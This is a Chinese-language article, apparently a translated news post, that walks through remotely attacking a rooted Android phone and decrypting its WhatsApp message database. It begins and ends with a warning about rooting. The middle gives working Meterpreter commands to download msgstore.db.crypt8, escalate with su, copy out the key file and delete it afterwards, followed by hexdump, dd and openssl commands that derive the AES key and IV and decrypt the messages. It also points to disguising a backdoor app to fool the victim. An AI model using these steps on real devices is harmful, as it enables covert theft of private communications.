針對已root過的安卓移動設備,本文主要講解遠程攻擊并解密WhatsApp數據庫的詳細過程。另外,這再一次提醒我們,對移動設備進行root(安卓)或越獄(iOS),將使用戶暴露在黑客攻擊之下。
幾小時前,網絡上發布了一個有趣的文章《如何遠程破解并解密WhatsApp數據庫[ROOT]》,文中解釋了如何從一個root過的安卓系統中提取并解密WhatsApp數據庫。盡管通常情況下WhatsApp非常安全,但對安卓設備的root處理將可能使用戶暴露在攻擊風險之中。
接下來,就讓我們一步一步看看作者(使用匿名F.E.A.R.)所提出的攻擊場景。
步驟1:利用并獲取安卓設備的訪問權限
正如這篇指南中所解釋的,如果安卓設備通過使用Meterpeter命令進行了root,那么這一階段將變得很簡單。
為了攻擊并解密WhatsApp數據庫,攻擊者需要一個存在于數據文件夾中的密鑰文件,而訪問該文件的唯一途徑就是擁有root權限。此外,該密鑰文件是解密WhatsApp數據庫所必不可少的。
步驟2:下載數據庫
使用下列命令通過Meterpreter下載數據庫:
cd /
cd /sdcard/WhatsApp
ls (打印當前目錄)
cd Databases
下載msgstore.db.crypt8 (這里需要耗費一些時間,可能很長)
步驟3:提取解密密鑰
解密WhatsApp數據庫所必需的密鑰文件中存儲了兩套解密密鑰,即實際的加密密鑰K和一個名為IV的初始化向量。值得一提的是,WhatsApp密鑰文件存儲在一個安全的位置。下面這些都是提取密鑰文件的命令:
shell
su(超級用戶訪問或僅僅進行提權)
正如F.E.A.R.所解釋的,這是最困難的部分,特別是如果目標手機用戶是有經驗且熟練的用戶,因為他必須已經安裝SuperSU應用程序。
如何誘導受害者安裝SuperSU?
可以看一下用戶bart發布的這篇教程,里面解釋了如何偽裝一個后門應用程序。不過,如果下列場景中的受害者并非是一個有經驗的或熟練的用戶,那么事情將變得更加簡單:
1、他們沒有安裝SuperSU應用程序。
2、對于新安裝的應用,他們沒有改變設置為PROMPT,而并非GRANT。
執行以下命令來訪問密鑰文件夾,并提取解密密鑰。
cd /
cd /data/data
ls
cd com.whatsapp ls
cd files
ls cp key /sdcard/Download (意思是將文件key拷貝到/sdcard/Download文件夾)
步驟4:下載解密密鑰文件到root目錄
下載提取的密鑰文件到root目錄,該目錄中還含有加密的WhatsApp數據庫:
cd /
cd /sdcard/Download
download key
rm key (確保你刪除了key文件)
步驟5:解密WhatsApp數據庫
文章中報道了2種不同的方法來解密WhatsApp:
(1)使用Linux命令:每次復制并粘貼一條命令,不要將它們寫成一個腳本文件,否則它將不能正常工作:
hexdump -e '2/1 "%02x"' key | cut -b 253-316 >aes.txt
hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 >iv.txt
dd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) >msgstore.gz
gzip -cdq msgstore.gz >msgstore.db
如果第4行命令不能工作,那么就按下面的指令操作:
hexdump -e ‘2/1 “%02x”‘ key | cut -b 253-316
hexdump -n 67 -e ‘2/1 “%02x”‘ msgstore.db.crypt8 | cut -b 103-134
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K (從第1條指令中粘貼文本文檔) -iv (從第2條指令中粘貼文本文檔) >msgstore.gz
(2)第二種方法基于簡單的Windows WhatsApp查看器應用程序,可以看一下原文。
這是又一次的教訓,對移動設備進行root(安卓)或越獄(iOS),將使用戶暴露在黑客攻擊之下。